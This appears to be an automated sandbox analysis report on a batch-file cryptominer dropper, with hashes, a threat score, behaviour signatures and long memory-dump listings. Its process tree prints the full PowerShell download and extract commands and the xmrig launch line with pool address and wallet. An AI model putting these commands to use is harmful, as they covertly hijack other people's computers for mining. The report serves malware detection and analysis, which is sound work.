Analysis

  • max time kernel
    1797s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 23:20

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4492
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4540
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3400

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3400-137-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-139-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-122-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-124-0x00000208B1B60000-0x00000208B1B80000-memory.dmp

    Filesize

    128KB

  • memory/3400-188-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-187-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-186-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-185-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-184-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-183-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-182-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-181-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-180-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-179-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-178-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-177-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-176-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-149-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-175-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-123-0x00000208B0380000-0x00000208B03A0000-memory.dmp

    Filesize

    128KB

  • memory/3400-125-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-126-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-127-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-129-0x00000208B1B60000-0x00000208B1B80000-memory.dmp

    Filesize

    128KB

  • memory/3400-128-0x00000208B0380000-0x00000208B03A0000-memory.dmp

    Filesize

    128KB

  • memory/3400-130-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-131-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-132-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-133-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-134-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-135-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-148-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-147-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-146-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-145-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-144-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-143-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-142-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-141-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-140-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-136-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-138-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-121-0x00000208B0360000-0x00000208B0380000-memory.dmp

    Filesize

    128KB

  • memory/3400-120-0x00000208B0090000-0x00000208B00B0000-memory.dmp

    Filesize

    128KB

  • memory/3400-174-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-150-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-151-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-152-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-153-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-154-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-155-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-156-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-157-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-158-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-159-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-160-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-161-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-162-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-163-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-164-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-165-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-166-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-167-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-168-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-169-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-170-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-171-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-172-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/3400-173-0x00007FF7F2200000-0x00007FF7F2D03000-memory.dmp

    Filesize

    11.0MB

  • memory/4492-5-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4492-25-0x0000026CF6360000-0x0000026CF6370000-memory.dmp

    Filesize

    64KB

  • memory/4492-26-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4492-4-0x0000026CF6070000-0x0000026CF6092000-memory.dmp

    Filesize

    136KB

  • memory/4492-34-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4492-29-0x0000026CF6360000-0x0000026CF6370000-memory.dmp

    Filesize

    64KB

  • memory/4492-28-0x0000026CF6360000-0x0000026CF6370000-memory.dmp

    Filesize

    64KB

  • memory/4492-6-0x0000026CF6360000-0x0000026CF6370000-memory.dmp

    Filesize

    64KB

  • memory/4492-10-0x0000026CF6470000-0x0000026CF64E6000-memory.dmp

    Filesize

    472KB

  • memory/4492-27-0x0000026CF6360000-0x0000026CF6370000-memory.dmp

    Filesize

    64KB

  • memory/4492-7-0x0000026CF6360000-0x0000026CF6370000-memory.dmp

    Filesize

    64KB

  • memory/4540-41-0x00000249E2270000-0x00000249E2280000-memory.dmp

    Filesize

    64KB

  • memory/4540-66-0x00000249E2270000-0x00000249E2280000-memory.dmp

    Filesize

    64KB

  • memory/4540-40-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB

  • memory/4540-42-0x00000249E2270000-0x00000249E2280000-memory.dmp

    Filesize

    64KB

  • memory/4540-93-0x00000249CA0D0000-0x00000249CA0DA000-memory.dmp

    Filesize

    40KB

  • memory/4540-80-0x00000249E2520000-0x00000249E2532000-memory.dmp

    Filesize

    72KB

  • memory/4540-117-0x00007FFA25A50000-0x00007FFA2643C000-memory.dmp

    Filesize

    9.9MB